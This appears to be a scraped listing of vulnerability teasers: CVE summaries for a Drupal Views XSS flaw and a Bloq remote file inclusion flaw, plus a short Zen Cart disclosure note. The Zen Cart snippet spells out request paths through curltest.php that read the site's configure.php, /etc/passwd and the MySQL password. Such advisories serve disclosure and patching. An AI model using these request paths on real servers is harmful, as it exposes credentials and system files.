CVE-2010-4521: Improper Neutralization of Input During Web Page Generation

Cross-site scripting XSS vulnerability in the Views module 6.x before 6.x-2.12 for Drupal allows remote attackers to inject arbitrary web script or HTML via a page path...

PT-2010-5524

Name of the Vulnerable Software and Affected Versions Drupal Views module version 6.x before 6.x-2.12 Description A cross-site scripting XSS issue exists, allowing remote attackers to inject arbitrary web script or HTML via a page path. Recommendations For versions prior to 6.x-2.12, update to...

Zen Cart local file disclosure-vulnerability warning-the black bar safety net

by t00ls Get the page path where the url/extras/ipntestreturn.php To obtain site configuration information url/extras/curltest. php? url=file://path/includes/configure.php Read the server passwd url/extras/curltest. php? url=file:///etc/passwd Get the MYSQL password, but the database only allows...

CVE-2006-6592: Undefined Security Weakness

Multiple PHP remote file inclusion vulnerabilities in Bloq 0.5.4 allow remote attackers to execute arbitrary PHP code via a URL in the pagepath parameter to 1 index.php, 2 admin.php, 3 rss.php, 4 rdf.php, 5 rss2.php, or 6 files/mainfile.php...